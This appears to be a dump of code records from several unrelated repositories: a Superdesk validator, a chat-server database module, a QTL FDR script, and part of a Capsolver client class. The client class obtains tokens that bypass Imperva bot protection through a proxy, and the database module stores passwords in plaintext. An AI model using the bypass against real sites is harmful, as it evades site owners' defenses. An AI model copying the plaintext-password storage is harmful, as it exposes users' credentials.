90, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 93, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 93, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 97, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 97, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 97, "usage_type": "call"}, {"api_name": "os.path", "line_number": 97, "usage_type": "attribute"}, {"api_name": "autograd.numpy.random.seed", "line_number": 100, "usage_type": "call"}, {"api_name": "autograd.numpy.random", "line_number": 100, "usage_type": "attribute"}, {"api_name": "autograd.numpy", "line_number": 100, "usage_type": "name"}, {"api_name": "minimc.minimc_slow.hamiltonian_monte_carlo", "line_number": 102, "usage_type": "call"}, {"api_name": "autograd.numpy.random.randn", "line_number": 103, "usage_type": "call"}, {"api_name": "autograd.numpy.random", "line_number": 103, "usage_type": "attribute"}, {"api_name": "autograd.numpy", "line_number": 103, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 107, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 107, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 128, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 128, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 128, "usage_type": "call"}, {"api_name": "os.path", "line_number": 128, "usage_type": "attribute"}, {"api_name": "minimc.neg_log_normal", "line_number": 132, "usage_type": "call"}, {"api_name": "minimc.neg_log_normal", "line_number": 133, "usage_type": "call"}, {"api_name": "minimc.neg_log_normal", "line_number": 134, "usage_type": "call"}, {"api_name": "autograd.numpy.array", "line_number": 136, "usage_type": "call"}, {"api_name": "autograd.numpy", "line_number": 136, "usage_type": "name"}, {"api_name": "minimc.autograd_interface.AutogradPotential", "line_number": 137, "usage_type": "call"}, {"api_name": "minimc.mixture", "line_number": 137, "usage_type": "call"}, {"api_name": "minimc.hamiltonian_monte_carlo", "line_number": 138, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 141, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 141, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 144, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 144, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 144, "usage_type": "call"}, {"api_name": "os.path", "line_number": 144, "usage_type": "attribute"}, {"api_name": "autograd.numpy.random.seed", "line_number": 147, "usage_type": "call"}, {"api_name": "autograd.numpy.random", "line_number": 147, "usage_type": "attribute"}, {"api_name": "autograd.numpy", "line_number": 147, "usage_type": "name"}, {"api_name": "minimc.minimc_slow.hamiltonian_monte_carlo", "line_number": 148, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 153, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 153, "usage_type": "name"}, {"api_name": "autograd.numpy.zeros_like", "line_number": 158, "usage_type": "call"}, {"api_name": "autograd.numpy", "line_number": 158, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 163, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 163, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 163, "usage_type": "call"}, {"api_name": "os.path", "line_number": 163, "usage_type": "attribute"}, {"api_name": "autograd.numpy.ones", "line_number": 166, "usage_type": "call"}, {"api_name": "autograd.numpy", "line_number": 166, "usage_type": "name"}, {"api_name": "autograd.numpy.array", "line_number": 167, "usage_type": "call"}, {"api_name": "autograd.numpy", "line_number": 167, "usage_type": "name"}, {"api_name": "autograd.numpy.ones", "line_number": 168, "usage_type": "call"}, {"api_name": "autograd.numpy", "line_number": 168, "usage_type": "name"}, {"api_name": "autograd.numpy.array", "line_number": 169, "usage_type": "call"}, {"api_name": "autograd.numpy", "line_number": 169, "usage_type": "name"}, {"api_name": "autograd.numpy.array", "line_number": 171, "usage_type": "call"}, {"api_name": "autograd.numpy", "line_number": 171, "usage_type": "name"}, {"api_name": "autograd.numpy.eye", "line_number": 172, "usage_type": "call"}, {"api_name": "autograd.numpy", "line_number": 172, "usage_type": "name"}, {"api_name": "minimc.autograd_interface.AutogradPotential", "line_number": 174, "usage_type": "call"}, {"api_name": "minimc.mixture", "line_number": 175, "usage_type": "call"}, {"api_name": "minimc.neg_log_mvnormal", "line_number": 177, "usage_type": "call"}, {"api_name": "minimc.neg_log_mvnormal", "line_number": 178, "usage_type": "call"}, {"api_name": "minimc.neg_log_mvnormal", "line_number": 179, "usage_type": "call"}, {"api_name": "minimc.hamiltonian_monte_carlo", "line_number": 185, "usage_type": "call"}, {"api_name": "autograd.numpy.zeros", "line_number": 185, "usage_type": "call"}, {"api_name": "autograd.numpy", "line_number": 185, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 188, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 188, "usage_type": "name"}, {"api_name": "autograd.numpy.array", "line_number": 190, "usage_type": "call"}, {"api_name": "autograd.numpy", "line_number": 190, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 194, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 194, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 194, "usage_type": "call"}, {"api_name": "os.path", "line_number": 194, "usage_type": "attribute"}, {"api_name": "autograd.numpy.random.seed", "line_number": 197, "usage_type": "call"}, {"api_name": "autograd.numpy.random", "line_number": 197, "usage_type": "attribute"}, {"api_name": "autograd.numpy", "line_number": 197, "usage_type": "name"}, {"api_name": "minimc.minimc_slow.hamiltonian_monte_carlo", "line_number": 199, "usage_type": "call"}, {"api_name": "autograd.numpy.zeros", "line_number": 200, "usage_type": "call"}, {"api_name": "autograd.numpy", "line_number": 200, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 204, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 204, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 224, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 224, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 224, "usage_type": "call"}, {"api_name": "os.path", "line_number": 224, "usage_type": "attribute"}]} +{"seq_id": "39233948688", "text": "import logging\nimport cerberus\nimport superdesk\nfrom superdesk.metadata.item import ITEM_TYPE\n\nlogger = logging.getLogger(__name__)\n\n\nclass SchemaValidator(cerberus.Validator):\n def _validate_type_picture(self, field, value):\n \"\"\"Allow type picture in schema.\"\"\"\n pass\n\n\nclass ValidateResource(superdesk.Resource):\n schema = {\n 'act': {'type': 'string', 'required': True},\n 'type': {'type': 'string', 'required': True},\n 'validate': {\n 'type': 'dict',\n 'required': True\n }\n }\n\n resource_methods = ['POST']\n item_methods = []\n\n\nclass ValidateService(superdesk.Service):\n\n def create(self, docs, **kwargs):\n for doc in docs:\n doc['errors'] = self._validate(doc, **kwargs)\n\n return [doc['errors'] for doc in docs]\n\n def _get_validators(self, doc):\n \"\"\"Get validators.\n\n In case there is profile defined for item with respective content type it will\n use its schema for validations, otherwise it will fall back to action/item_type filter.\n \"\"\"\n profile = doc['validate'].get('profile')\n if profile:\n content_type = superdesk.get_resource_service('content_types').find_one(req=None, _id=profile)\n if content_type:\n return [content_type]\n lookup = {'act': doc['act'], 'type': doc[ITEM_TYPE]}\n return superdesk.get_resource_service('validators').get(req=None, lookup=lookup)\n\n def _validate(self, doc, **kwargs):\n lookup = {'act': doc['act'], 'type': doc[ITEM_TYPE]}\n use_headline = kwargs and 'headline' in kwargs\n validators = superdesk.get_resource_service('validators').get(req=None, lookup=lookup)\n validators = self._get_validators(doc)\n for validator in validators:\n v = SchemaValidator()\n v.allow_unknown = True\n v.validate(doc['validate'], validator['schema'])\n error_list = v.errors\n response = []\n for e in error_list:\n if error_list[e] == 'required field' or type(error_list[e]) is dict:\n message = '{} is a required field'.format(e.upper())\n elif 'min length is' in error_list[e]:\n message = '{} is too short'.format(e.upper())\n elif 'max length is' in error_list[e]:\n message = '{} is too long'.format(e.upper())\n else:\n message = '{} {}'.format(e.upper(), error_list[e])\n\n if use_headline:\n response.append('{}: {}'.format(doc['validate'].get('headline',\n doc['validate'].get('_id')), message))\n else:\n response.append(message)\n return response\n else:\n return ['validator was not found for {}'.format(doc['act'])]\n", "repo_name": "MiczFlor/superdesk-core", "sub_path": "apps/validate/validate.py", "file_name": "validate.py", "file_ext": "py", "file_size_in_byte": 2933, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "16", "api": [{"api_name": "logging.getLogger", "line_number": 6, "usage_type": "call"}, {"api_name": "cerberus.Validator", "line_number": 9, "usage_type": "attribute"}, {"api_name": "superdesk.Resource", "line_number": 15, "usage_type": "attribute"}, {"api_name": "superdesk.Service", "line_number": 29, "usage_type": "attribute"}, {"api_name": "superdesk.get_resource_service", "line_number": 45, "usage_type": "call"}, {"api_name": "superdesk.metadata.item.ITEM_TYPE", "line_number": 48, "usage_type": "name"}, {"api_name": "superdesk.get_resource_service", "line_number": 49, "usage_type": "call"}, {"api_name": "superdesk.metadata.item.ITEM_TYPE", "line_number": 52, "usage_type": "name"}, {"api_name": "superdesk.get_resource_service", "line_number": 54, "usage_type": "call"}]} +{"seq_id": "11584813369", "text": "import configparser\nimport os.path\n\nfrom sqlalchemy import MetaData, Table, Column, Integer, String, create_engine, ForeignKey, DateTime\nfrom sqlalchemy.orm import mapper, sessionmaker\nfrom sqlalchemy.ext.declarative import declarative_base\nimport sqlite3\nfrom datetime import datetime\n\n\nclass ServerStorage:\n class AllUser:\n def __init__(self, name, passwrd, last_login_date):\n self.name = name\n self.passwrd = passwrd\n self.last_login_date = last_login_date\n\n self.id = None\n\n def __repr__(self):\n return f'User - {self.name} - {self.last_login_date}'\n\n class ActiveUser:\n def __init__(self, user_id, ip, port):\n self.user_id = user_id\n self.ip = ip\n self.port = port\n self.id = None\n\n def __repr__(self):\n return f'User - {self.user_id} - {self.ip}- {self.port}'\n\n class LoginHistory:\n def __init__(self, user_id, ip, port):\n self.id = None\n self.user_id = user_id\n self.ip = ip\n self.port = port\n self.date_time = datetime.now()\n\n def __repr__(self):\n return f'User - {self.user_id} - {self.ip}- {self.port} - {self.date_time}'\n\n class Contact():\n\n def __init__(self, user_1, user_2):\n self.user_1_id = user_1\n self.user_2_id = user_2\n\n def __repr__(self):\n return f'{self.user_1_id} - {self.user_2_id}'\n\n class UserKey:\n def __init__(self, user_id, public_key):\n self.user_id = user_id\n self.public_key = public_key\n self.id = None\n\n def __repr__(self):\n return f'User - {self.user_id}'\n\n def __init__(self):\n # engine = create_engine('sqlite:///server_db.db3?check_same_thread=False', echo=False)\n config = configparser.ConfigParser()\n config.read('server_config.ini')\n db_path = config[\"SETTINGS\"][\"database_path\"]\n db_name = config[\"SETTINGS\"][\"database_file\"]\n db_abs_path = os.path.join(db_path, db_name)\n\n engine = create_engine(f'sqlite:///{db_abs_path}?check_same_thread=False', echo=False)\n Session = sessionmaker(bind=engine)\n # self.Base.metadata.create_all(engine)\n self.session = Session()\n self.meta_data = MetaData()\n clients_table = Table('all_users', self.meta_data,\n Column('id', Integer, primary_key=True),\n Column('name', String),\n Column('passwrd', String),\n Column('last_login_date', DateTime))\n\n active_users = Table('active_users', self.meta_data,\n Column('id', Integer, primary_key=True),\n Column('user_id', Integer, ForeignKey('all_users.id')),\n Column('ip', String),\n Column('port', String)\n )\n login_history = Table('login_history', self.meta_data,\n Column('id', Integer, primary_key=True),\n Column('user_id', Integer, ForeignKey('all_users.id')),\n Column('ip', String),\n Column('port', String),\n Column('date_time', DateTime)\n )\n contacts = Table('contacts', self.meta_data,\n Column('id', Integer, primary_key=True),\n Column('user_1_id', Integer, ForeignKey('all_users.id')),\n Column('user_2_id', Integer, ForeignKey('all_users.id'))\n )\n\n keys = Table('keys', self.meta_data,\n Column('id', Integer, primary_key=True),\n Column('user_id', Integer, ForeignKey('all_users.id')),\n Column('public_key', String)\n )\n\n self.meta_data.create_all(engine)\n mapper(self.AllUser, clients_table)\n mapper(self.ActiveUser, active_users)\n mapper(self.LoginHistory, login_history)\n mapper(self.Contact, contacts)\n mapper(self.UserKey, keys)\n self.clear_active_users()\n\n def create_user(self, name,passwrd):\n \"\"\"Добавляем нового пользователя, если он есть возвращаем False \"\"\"\n user = self.session.query(self.AllUser).filter_by(name=name).first()\n if user:\n return False\n else:\n user = self.AllUser(name,passwrd, datetime.now())\n self.session.add(user)\n self.session.commit()\n return True\n\n def delete_user(self, name):\n \"\"\"Удаляем пользователя\"\"\"\n user = self.session.query(self.AllUser).filter_by(name=name).first()\n if user:\n self.session.delete(user)\n self.session.commit()\n else:\n print('User не найден')\n\n def add_new_active_user(self, user_id, ip, port):\n \"\"\" Добавление пользователя в таблицу активных пользователей\"\"\"\n user = self.ActiveUser(user_id, ip, port)\n self.session.add(user)\n self.session.commit()\n return user\n\n def user_login(self, name, ip, port):\n \"\"\"\n добавлет в активные и заносит в журнал истории логинов\"\"\"\n user = self.session.query(self.AllUser).filter_by(name=name).first()\n self.add_new_active_user(user.id, ip, port)\n history = self.LoginHistory(user.id, ip, port)\n self.session.add(history)\n self.session.commit()\n\n def get_user_pass(self,name):\n user = self.session.query(self.AllUser).filter_by(name=name).first()\n if user:\n return user.passwrd\n else:\n return False\n\n def delete_active_user(self, user_name):\n ''' Удаляет пользователя из активных '''\n if user_name:\n user = \\\n self.session.query(self.AllUser, self.ActiveUser).filter_by(name=user_name).join(self.ActiveUser).first()[1]\n self.session.delete(user)\n self.session.commit()\n\n def clear_active_users(self):\n \"\"\" Очищает таблицу активных юзеров\"\"\"\n users = self.session.query(self.ActiveUser).delete()\n self.session.commit()\n\n def get_login_history(self, name=None):\n history = self.session.query(self.AllUser.name, self.LoginHistory.ip, self.LoginHistory.port,\n self.LoginHistory.date_time).join(self.AllUser)\n if name:\n history = history.filter_by(name=name)\n\n return history.all()\n\n def get_active_users(self, name=None):\n users = self.session.query(self.AllUser.name, self.ActiveUser.ip, self.ActiveUser.port,\n self.AllUser.last_login_date).join(self.AllUser)\n if name:\n users = users.filter_by(name=name)\n\n return users.all()\n\n def add_new_contact(self, user_1, user_2):\n user_1 = self.session.query(self.AllUser).filter_by(name=user_1).first()\n user_2 = self.session.query(self.AllUser).filter_by(name=user_2).first()\n\n if user_1 and user_2:\n contact = self.session.query(self.Contact).filter_by(user_1_id=user_1.id, user_2_id=user_2.id)\n if contact.count() < 1:\n contact = self.Contact(user_1.id, user_2.id)\n self.session.add(contact)\n self.session.commit()\n return 201\n else:\n return 402\n else:\n return 401\n\n def delete_new_contact(self, user_1, user_2):\n user_1 = self.session.query(self.AllUser).filter_by(name=user_1).first()\n user_2 = self.session.query(self.AllUser).filter_by(name=user_2).first()\n\n if user_2:\n contact = self.session.query(self.Contact).filter_by(user_1_id=user_1.id, user_2_id=user_2.id).first()\n if contact:\n self.session.delete(contact)\n self.session.commit()\n return 203\n else:\n return 403\n else:\n return 401\n\n def get_contacts(self, user_name):\n \"\"\"\n Получаем имя пользователя, возвращаем список имен его контактов\n :param user_name: str\n :return:\n \"\"\"\n user = self.session.query(self.AllUser).filter_by(name=user_name).first()\n user_contacts = self.session.query(self.Contact, self.AllUser).filter_by(user_1_id=user.id).join(self.AllUser,\n self.AllUser.id == self.Contact.user_2_id).all()\n result = [contact[1].name for contact in user_contacts]\n return result\n\n def set_key(self,user_name,public_key):\n user = self.session.query(self.AllUser).filter_by(name=user_name).first()\n key = self.session.query(self.UserKey).filter_by(user_id = user.id).first()\n if key:\n if key.public_key != public_key:\n key.public_key = public_key\n else:\n key = self.UserKey(user.id,public_key)\n self.session.add(key)\n self.session.commit()\n\nif __name__ == '__main__':\n server = ServerStorage()\n server.set_key('User-1','123')\n # new_user = server.create_user('Vovas','Paasword')\n # server.add_new_active_user(new_user.id, '127.0.0.1', '7777')\n # new_user_2 = server.create_user('Dima','Passwrd2')\n # server.add_new_active_user(new_user_2.id, '127.0.0.1', '7777')\n #\n # # server.user_login('Vanya', '127.0.0.1', '8888')\n # full_data = server.session.query(server.AllUser.name, server.ActiveUser.ip, server.AllUser.last_login_date).join(\n # server.AllUser).all()\n # # print(full_data)\n # # server.user_login('Petya', '127.0.0.1', '8888')\n # print('-------------')\n # print(server.get_active_users(name='Vovas'))\n # server.delete_active_user('Vovas')\n #\n # query = server.session.query(server.AllUser, server.ActiveUser).outerjoin(server.ActiveUser)\n # query = server.session.query(server.AllUser, server.ActiveUser).outerjoin(server.ActiveUser)\n # print(query)\n # records = query\n # for user, active_user in records:\n # # print(user.name,active_user.ip,active_user.port,user.last_login_date)\n # print(user.name,\n # f'Подключился {datetime.strftime(user.last_login_date, \"%d.%m.%Y %H:%M\")}' if active_user else 'Не активен')\n # # print(user,active_user)\n\n # resp = server.add_new_contact('User-2', 'User-5')\n # print(resp)\n # resp = server.delete_new_contact('User-2', 'User-5')\n # print(resp)\n # contacts = server.get_contacts('User-17')\n", "repo_name": "vmikulitskii/PythonClientServerApplications", "sub_path": "server_storage.py", "file_name": "server_storage.py", "file_ext": "py", "file_size_in_byte": 11052, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "datetime.datetime.now", "line_number": 39, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 39, "usage_type": "name"}, {"api_name": "configparser.ConfigParser", "line_number": 64, "usage_type": "call"}, {"api_name": "os.path.path.join", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 68, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 68, "usage_type": "name"}, {"api_name": "sqlalchemy.create_engine", "line_number": 70, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.sessionmaker", "line_number": 71, "usage_type": "call"}, {"api_name": "sqlalchemy.MetaData", "line_number": 74, "usage_type": "call"}, {"api_name": "sqlalchemy.Table", "line_number": 75, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 76, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 76, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 77, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 77, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 78, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 78, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 79, "usage_type": "call"}, {"api_name": "sqlalchemy.DateTime", "line_number": 79, "usage_type": "argument"}, {"api_name": "sqlalchemy.Table", "line_number": 81, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 82, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 82, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 83, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 83, "usage_type": "argument"}, {"api_name": "sqlalchemy.ForeignKey", "line_number": 83, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 84, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 84, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 85, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 85, "usage_type": "argument"}, {"api_name": "sqlalchemy.Table", "line_number": 87, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 88, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 88, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 89, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 89, "usage_type": "argument"}, {"api_name": "sqlalchemy.ForeignKey", "line_number": 89, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 90, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 90, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 91, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 91, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 92, "usage_type": "call"}, {"api_name": "sqlalchemy.DateTime", "line_number": 92, "usage_type": "argument"}, {"api_name": "sqlalchemy.Table", "line_number": 94, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 95, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 95, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 96, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 96, "usage_type": "argument"}, {"api_name": "sqlalchemy.ForeignKey", "line_number": 96, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 97, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 97, "usage_type": "argument"}, {"api_name": "sqlalchemy.ForeignKey", "line_number": 97, "usage_type": "call"}, {"api_name": "sqlalchemy.Table", "line_number": 100, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 101, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 101, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 102, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 102, "usage_type": "argument"}, {"api_name": "sqlalchemy.ForeignKey", "line_number": 102, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 103, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 103, "usage_type": "argument"}, {"api_name": "sqlalchemy.orm.mapper", "line_number": 107, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.mapper", "line_number": 108, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.mapper", "line_number": 109, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.mapper", "line_number": 110, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.mapper", "line_number": 111, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 120, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 120, "usage_type": "name"}]} +{"seq_id": "2803625702", "text": "from PIL import Image\r\nimport glob, os\r\nimport sys\r\n#name=\"explainer.jpg\"\r\nname= sys.argv[1]\r\ncounter = 1\r\nfor infile in glob.glob(\"*.jpg\"):\r\n file, ext = os.path.splitext(infile)\r\n im = Image.open(infile)\r\n im.save(name+str(counter)+\".jpg\")\r\n counter = counter + 1\r\n\r\n\r\n", "repo_name": "realka/DataPreparation", "sub_path": "Renamer.py", "file_name": "Renamer.py", "file_ext": "py", "file_size_in_byte": 283, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "sys.argv", "line_number": 5, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 7, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 9, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 9, "usage_type": "name"}]} +{"seq_id": "19947606418", "text": "import glob\nimport os.path\nimport pandas as pd\nimport argparse\nimport numpy as np\nimport scipy.stats\nfrom scipy.stats import beta\n\n#V0.1.2\nBETA_SHAPE1_MIN = 0.1\nBETA_SHAPE1_MAX = 10\nBETA_SHAPE2_MIN_CIS = 1\nBETA_SHAPE2_MIN_TRANS = 5\nBETA_SHAPE2_MAX_CIS = 1000000\nBETA_SHAPE2_MAX_TRANS = 100000000\n\ndef estimate_beta_function_paras(top_pvalues_perm):\n mean = np.mean(top_pvalues_perm)\n variance = np.var(top_pvalues_perm)\n alpha_para = mean * (mean * (1 - mean ) / variance - 1)\n beta_para = alpha_para * (1 / mean - 1)\n return alpha_para,beta_para\n\ndef correction_function_fdr(pValue, top_pvalues_perm, nPerm):\n fdrPval = len(np.where(top_pvalues_perm1.0):\n fdrPval =1.0\n return fdrPval\n\ndef add_global_fdr_measures(QTL_Dir, OutputDir, relevantGenes, qtl_results_file=\"top_qtl_results_all.txt\"):\n if QTL_Dir[-1:] == \"/\" :\n QTL_Dir = QTL_Dir[:-1]\n if OutputDir[-1:] == \"/\" :\n OutputDir = OutputDir[:-1]\n \n if relevantGenes is not None :\n genesToParse = pd.read_csv(relevantGenes, header=None)[0].values\n toRead = set(QTL_Dir+\"/Permutation.pValues.\"+genesToParse+\".txt\")\n \n permutationInformtionToProcess = (glob.glob(QTL_Dir+\"/Permutation.pValues.*.txt\"))\n \n if relevantGenes is not None :\n permutationInformtionToProcess = set(permutationInformtionToProcess).intersection(toRead)\n pValueBuffer = []\n genesTested = 0\n for file in permutationInformtionToProcess :\n #print(file)\n pValueBuffer.extend(np.loadtxt(file))\n genesTested +=1\n nPerm = len(pValueBuffer)/genesTested\n \n pValueBuffer=np.float_(pValueBuffer)\n alpha_para, beta_para = estimate_beta_function_paras(pValueBuffer)\n beta_dist_mm = scipy.stats.beta(alpha_para,beta_para)\n correction_function_beta = lambda x: beta_dist_mm.cdf(x)\n \n qtlResults = pd.read_table(QTL_Dir+\"/\"+qtl_results_file,sep='\\t')\n \n if relevantGenes is not None :\n qtlResults = qtlResults.loc[qtlResults['feature_id'].isin(genesToParse)]\n \n qtlResults['empirical_global_p_value'] = correction_function_beta(qtlResults[\"p_value\"])\n \n fdrBuffer = []\n for p in qtlResults[\"p_value\"] :\n fdrBuffer.append(correction_function_fdr(p , pValueBuffer, nPerm))\n qtlResults['emperical_global_fdr'] = fdrBuffer\n qtlResults.to_csv(QTL_Dir+\"/top_qtl_results_all_global_FDR_info.txt\",sep='\\t',index=False)\n\ndef parse_args():\n parser = argparse.ArgumentParser(description='Run global gene and snp wide correction on QTLs.')\n parser.add_argument('--input_dir','-id',required=True)\n parser.add_argument('--ouput_dir','-od',required=True)\n parser.add_argument('--gene_selection','-gs',required=False, default=None)\n parser.add_argument('--qtl_filename','-qf',required=False, default=None)\n args = parser.parse_args()\n return args\n\nif __name__=='__main__':\n args = parse_args()\n inputDir = args.input_dir\n outputDir = args.ouput_dir\n relevantGenes = args.gene_selection\n qtlFileName = args.qtl_filename\n \n if qtlFileName is not None :\n add_global_fdr_measures(inputDir, outputDir, relevantGenes, qtlFileName)\n else :\n add_global_fdr_measures(inputDir, outputDir, relevantGenes)\n\n\n\n", "repo_name": "single-cell-genetics/limix_qtl", "sub_path": "Limix_QTL/post_processing/global_fdr_estimation.py", "file_name": "global_fdr_estimation.py", "file_ext": "py", "file_size_in_byte": 3266, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 14, "dataset": "github-code", "pt": "16", "api": [{"api_name": "numpy.mean", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.var", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 25, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 37, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.float_", "line_number": 52, "usage_type": "call"}, {"api_name": "scipy.stats.stats.beta", "line_number": 54, "usage_type": "call"}, {"api_name": "scipy.stats.stats", "line_number": 54, "usage_type": "attribute"}, {"api_name": "scipy.stats", "line_number": 54, "usage_type": "name"}, {"api_name": "pandas.read_table", "line_number": 57, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 71, "usage_type": "call"}]} +{"seq_id": "72286236487", "text": "from typing import Union\n\nfrom python3_capsolver.core.base import BaseCaptcha\nfrom python3_capsolver.core.enum import AntiImpervaTaskEnm\nfrom python3_capsolver.core.serializer import AntiImpervaTaskSer, CaptchaResponseSer\n\n\nclass Imperva(BaseCaptcha):\n \"\"\"\n The class is used to work with Capsolver Imperva method.\n\n Args:\n api_key: Capsolver API key\n captcha_type: Captcha type name, like ``AntiImpervaTask`` and etc.\n websiteUrl: The website url\n userAgent: Browser userAgent\n\n Examples:\n >>> Imperva(api_key=\"CAI-BA9XXXXXXXXXXXXX2702E010\",\n ... captcha_type=\"AntiImpervaTask\",\n ... websiteUrl=\"https://www.milanuncios.com/\",\n ... userAgent=\"Mozilla/5.0 (Windows ....\",\n ... proxy=\"socks5:98.181.137.83:4145\",\n ... utmvc=True,\n ... reese84=True,\n ... reeseScriptUrl=\"https://www.milanuncios.com/librarym.js\",\n ... ).captcha_handler()\n CaptchaResponseSer(errorId=0,\n errorCode=None,\n errorDescription=None,\n taskId='73bdcd28-6c77-4414-8....',\n status=,\n solution={'token': '90F9EAF...'}\n )\n\n >>> Imperva(api_key=\"CAI-BA9XXXXXXXXXXXXX2702E010\",\n ... captcha_type=AntiImpervaTaskEnm.AntiImpervaTask,\n ... websiteUrl=\"https://www.milanuncios.com/\",\n ... userAgent=\"Mozilla/5.0 (Windows ....\",\n ... proxy=\"socks5:98.181.137.83:4145\",\n ... utmvc=True,\n ... reese84=True,\n ... reeseScriptUrl=\"https://www.milanuncios.com/librarym.js\",\n ... ).captcha_handler()\n CaptchaResponseSer(errorId=0,\n errorCode=None,\n errorDescription=None,\n taskId='73bdcd28-6c77-4414-8....',\n status=,\n solution={'token': '90F9EAF...'}\n )\n\n >>> await Imperva(api_key=\"CAI-BA9650D2B9C2786B21120D512702E010\",\n ... captcha_type=AntiImpervaTaskEnm.AntiImpervaTask,\n ... websiteUrl=\"https://www.milanuncios.com/\",\n ... userAgent=\"Mozilla/5.0 (Windows ....\",\n ... proxy=\"socks5:98.181.137.83:4145\",\n ... utmvc=True,\n ... reese84=True,\n ... reeseScriptUrl=\"https://www.milanuncios.com/librarym.js\",\n ... ).aio_captcha_handler()\n 